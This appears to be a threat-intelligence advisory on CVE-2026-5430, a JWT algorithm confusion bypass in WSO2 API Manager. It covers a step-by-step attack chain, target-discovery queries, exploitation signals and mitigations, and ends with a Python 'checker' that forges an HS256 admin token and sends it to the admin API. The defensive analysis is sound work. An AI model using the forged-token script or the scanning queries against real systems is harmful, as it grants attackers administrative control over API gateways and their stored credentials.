Someone left the master key mold in the lobby and attackers are stamping copies
CVE-2026-5430 is a JWT algorithm confusion flaw in WSO2 API Manager (4.1.0–4.6.0), API Control Plane (4.5.0–4.6.0), Traffic Manager (4.5.0–4.6.0), and Universal Gateway (4.5.0–4.6.0). When the OAuthAuthenticationInterceptor receives a JWT signed with an unsupported algorithm (e.g., HS256 instead of the configured RSA), JWTUtil.verifyTokenSignature throws an exception — but the pre-patch interceptor catches and swallows that exception, allowing the request to proceed as if the token were valid. An attacker crafts a trivial HS256 JWT with sub=admin, sends it as a Bearer token to any admin API endpoint, and gets full administrative access. No credentials, no user interaction, no prior access needed.
The vendor's CVSS 10.0 (multi-tenant) / 9.8 (single-tenant) rating is fully justified and, if anything, generous in how quickly WSO2 published the patch (April 2026). The five-month gap between patch availability and active exploitation (September 13) means organizations that fell behind have been caught flat-footed. With a public Python PoC by Abraxas Labs, a CISA KEV listing as of September 24, and watchTowr confirming forged-JWT payloads hitting honeypots, this is not a theoretical risk — it is an active campaign. WSO2 API Manager is a canonical API gateway component deployed in banking, government, and telecom, making the blast radius tenant-to-fleet-scale.
5 steps from start to impact.
Identify exposed WSO2 management port
/carbon, /api/am/admin/). In containerized or cloud-native deployments, the management port is sometimes exposed alongside the gateway port (8243) due to misconfigured ingress rules or Kubernetes Service definitions.- Network reachability to WSO2 management port (typically 9443)
- Well-configured deployments restrict port 9443 to internal management VLANs
- Cloud WAFs or API gateways in front of WSO2 may not proxy the admin path
http.title:"WSO2" port:9443. FOFA: app="WSO2". Network IDS can alert on external connections to 9443.Craft forged HS256 JWT
{"alg":"HS256","typ":"JWT"} and payload {"sub":"admin","exp":9999999999}. The signature is arbitrary bytes — it will never be verified. The Abraxas Labs PoC automates this in ~30 lines of Python. No secret key material is needed because the vulnerable code path never reaches signature validation for unsupported algorithms.- Knowledge that target runs vulnerable WSO2 (version fingerprinting or blind spray)
- None — the PoC is public and trivial to execute
alg: HS256 if the deployment is configured for RS256-only. Log correlation: successful admin API calls without a preceding OAuth token-issuance event.Submit forged JWT to admin API
GET /api/am/admin/v4/tenant-config (or any admin endpoint) with the Authorization: Bearer <forged_token> header. The OAuthAuthenticationInterceptor extracts the JWT, calls JWTUtil.verifyTokenSignature, which throws on the unsupported HS256 algorithm. The interceptor's catch block swallows the exception and allows request processing to continue. The server returns HTTP 200 with full admin-context response data.- HTTP(S) connectivity to the admin API endpoint
- If admin endpoints are behind a reverse proxy that strips or validates Authorization headers, the forged token may not reach WSO2
Achieve full administrative control
- Successful JWT bypass from step 3
- None once step 3 succeeds
Pivot to backend services and lateral movement
- Backend services reachable from the attacker's position or from the WSO2 host
- Network segmentation between WSO2 and backends may limit blast radius
- Backend services with their own authentication layers are not automatically compromised
Authorization: Bearer header, base64-decodes the JWT header, and blocks requests where alg is anything other than your configured algorithm (typically RS256). This catches the specific exploit payload. Deploy within hours as a virtual patch while scheduling the real update.- Rate limiting on the admin API — the exploit requires a single HTTP request with a forged JWT. Rate limiting only helps against brute-force attacks, not single-shot authentication bypasses.
- Network-level IP allowlisting alone — while restricting source IPs to the admin port helps, it does not protect against compromised jump hosts, VPN users, or lateral movement from adjacent systems that are allowlisted.
- Upgrading JWT library independently — the flaw is in WSO2's
OAuthAuthenticationInterceptorexception-handling logic, not in the underlying JWT library. Updating only the JWT library does not fix the catch-and-swallow pattern. - MFA on the WSO2 console — the bypass targets the REST API, not the browser-based Carbon console. MFA configured on console login does not protect API endpoints that accept Bearer tokens directly.
The supporting signals.
| In-the-Wild Exploitation | Confirmed active. watchTowr observed forged JWT payloads hitting honeypots since September 13, 2026. Coordinated scanning from multiple IP ranges suggests a shared exploit module. Reported by Yordan Ganchev, Principal Threat Intelligence Specialist at watchTowr. |
|---|---|
| CISA KEV Status | Listed September 24, 2026. Federal remediation deadline: September 27, 2026 (3 days — emergency cadence). CISA alert |
| Proof-of-Concept | Public. Python PoC by Abraxas Labs (github.com/abraxas) targets /api/am/admin/v4/tenant-config with forged HS256 Bearer token. Listed on Sploitus and pocindex.io. WatchTowr independently reproduced via patch diffing of carbon-apimgt PR #13752. |
| EPSS | 0.00588 (0.588%) — lagging indicator given confirmed active exploitation. Expect rapid upward revision. |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (multi-tenant). Single-tenant variant: S:U → 9.8. Network-accessible, no privileges, no interaction, scope change in multi-tenant — every metric at worst value. |
| Affected Versions | WSO2 API Manager 4.1.0–4.6.0, API Control Plane 4.5.0–4.6.0, Traffic Manager 4.5.0–4.6.0, Universal Gateway 4.5.0–4.6.0. All versions prior to the April 2026 update levels. |
| Fixed Versions | API Manager: 4.1.0 u257, 4.2.0 u197, 4.3.0 u108, 4.4.0 u72, 4.5.0 u57, 4.6.0 u21. API Control Plane: 4.5.0 u58, 4.6.0 u22. Traffic Manager: 4.5.0 u56, 4.6.0 u21. Universal Gateway: 4.5.0 u57, 4.6.0 u21. Open-source fix: carbon-apimgt PR #13752, product-apim PR #14167. |
| Scanning / Exposure | WSO2 claims ~1,000 enterprise customers across banking, government, telecom, and logistics. ~208 verified companies per Landbase. Management port 9443 is fingerprintable via Shodan (http.title:"WSO2") and Censys. Internet-exposed instances are a minority but exist, especially in cloud deployments. |
| Disclosure Timeline | Responsible disclosure by Hacktron Team → patch shipped April 2026 → CVE published August 6, 2026 → first exploitation September 13 → KEV listing September 24 → federal deadline September 27. |
| Reporting Researcher / Org | Responsible disclosure: Hacktron Team. In-the-wild detection: watchTowr (Yordan Ganchev). Public PoC: Abraxas Labs (@abraxas_null). |
Sources.
- WSO2 Security Advisory WSO2-2026-5328
- CISA KEV Alert — September 24, 2026
- The Hacker News — WSO2 and Adobe Commerce Flaws Exploited
- SecurityWeek — Enterprises Warned of WSO2 Exploitation
- Abraxas Labs PoC on Sploitus
- WSO2 carbon-apimgt Fix — PR #13752
- DEV Community — CVE-2026-5430 Explained
- GBHackers — CISA Flags WSO2 Under Active Exploitation
Why this verdict
- Pre-auth remote exploit with zero friction: The attack requires only network access to port 9443 and a 30-line Python script. No credentials, no user interaction, no race conditions, no memory corruption — just a crafted HTTP header. This is the simplest possible attack chain for maximum impact.
- Active exploitation confirms weaponization: watchTowr captured live forged-JWT payloads from September 13, CISA added to KEV on September 24 with a 3-day remediation window — the shortest possible federal deadline. The exploit is not theoretical; it is operational.
- Public PoC eliminates any skill barrier: Abraxas Labs' Python PoC is indexed on Sploitus and pocindex.io. WatchTowr independently reproduced from the patch diff. Any script kiddie with
curlcan forge a valid admin JWT. - Role multiplier: WSO2 API Manager is canonically a high-value-role component. It is an API gateway and authentication boundary — >90% of production WSO2 deployments sit in front of business-critical backend APIs, managing OAuth credentials, consumer keys/secrets, and API routing for the entire application tier. Compromise yields: (1) admin access to all managed APIs, (2) extraction of all registered application credentials, (3) ability to redirect API traffic through attacker-controlled backends, (4) tenant-boundary crossing in multi-tenant deployments. The blast radius is tenant-to-fleet-scale. This component is analogous to compromising an identity provider or reverse proxy — the chain succeeds in the canonical deployment role, and the outcome is mass credential exposure and full API-tier compromise. The verdict floor is CRITICAL.
- CVSS 10.0 vector is mechanically correct: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — every base metric is at its worst value. The scope change reflects multi-tenant boundary violation. No adjustment is warranted.
Why not higher?
CVSS 10.0 is the maximum possible score. There is no higher severity bucket than CRITICAL. The vendor's assessment captures the full severity accurately.
Why not lower?
Downgrading would require evidence that the admin port (9443) is reliably unexposed in production — but WSO2's own advisory treats this as unauthenticated-remote, active exploitation is confirmed against real targets (not just honeypots with artificially exposed ports), and the component is canonically internet-adjacent (API gateway). The management port being on a separate port number does not constitute meaningful friction when cloud and container deployments routinely expose it. Even in internal-only deployments, any authenticated insider or post-initial-access attacker reaches domain-equivalent impact through the API credential store. The floor for a canonically high-value-role component with a working pre-auth chain is CRITICAL, and no friction point breaks it.
Crowdsourced verification payload.
Run from an auditor workstation with HTTPS access to the target WSO2 management port (default 9443). No authentication or special privileges required. Invoke as: python3 check_cve_2026_5430.py <wso2_host> [port]. The script sends a baseline unauthenticated request (expecting 401) then a forged HS256 JWT (checking if 200 is returned). Outputs VULNERABLE, PATCHED, or UNKNOWN.
#!/usr/bin/env python3
"""CVE-2026-5430 Vulnerability Checker
Tests WSO2 API Manager / API Control Plane for JWT algorithm confusion bypass.
Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
"""
import sys
import json
import base64
import ssl
import urllib.request
import urllib.error
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def make_forged_jwt():
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({
"sub": "admin",
"iss": "https://localhost:9443/oauth2/token",
"exp": 9999999999,
"iat": 1000000000
}))
sig = b64url(b"fakesignaturebytes")
return f"{header}.{payload}.{sig}"
def check(host, port=9443):
url = f"https://{host}:{port}/api/am/admin/v4/tenant-config"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Step 1: Baseline — request without token, expect 401
req_noauth = urllib.request.Request(url)
try:
resp = urllib.request.urlopen(req_noauth, context=ctx, timeout=15)
baseline = resp.getcode()
except urllib.error.HTTPError as e:
baseline = e.code
except Exception as e:
print(f"UNKNOWN - Cannot reach {url}: {e}")
return 2
if baseline != 401:
print(f"UNKNOWN - Baseline returned HTTP {baseline}, expected 401. "
f"Endpoint may not exist or auth is configured differently.")
return 2
# Step 2: Send forged HS256 JWT
token = make_forged_jwt()
req_auth = urllib.request.Request(url, headers={"Authorization": f"Bearer {token}"})
try:
resp = urllib.request.urlopen(req_auth, context=ctx, timeout=15)
status = resp.getcode()
except urllib.error.HTTPError as e:
status = e.code
except Exception as e:
print(f"UNKNOWN - Forged-token request failed: {e}")
return 2
if status == 200:
print("VULNERABLE - CVE-2026-5430: Forged HS256 JWT accepted by WSO2 "
"admin API (HTTP 200). Immediate patching required.")
return 1
elif status in (401, 403):
print("PATCHED - CVE-2026-5430: Forged JWT correctly rejected "
f"(HTTP {status}). Instance appears patched.")
return 0
else:
print(f"UNKNOWN - Unexpected HTTP {status} response to forged JWT.")
return 2
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <host> [port]")
print(f"Example: {sys.argv[0]} apim.internal.corp 9443")
sys.exit(2)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 9443
sys.exit(check(host, port))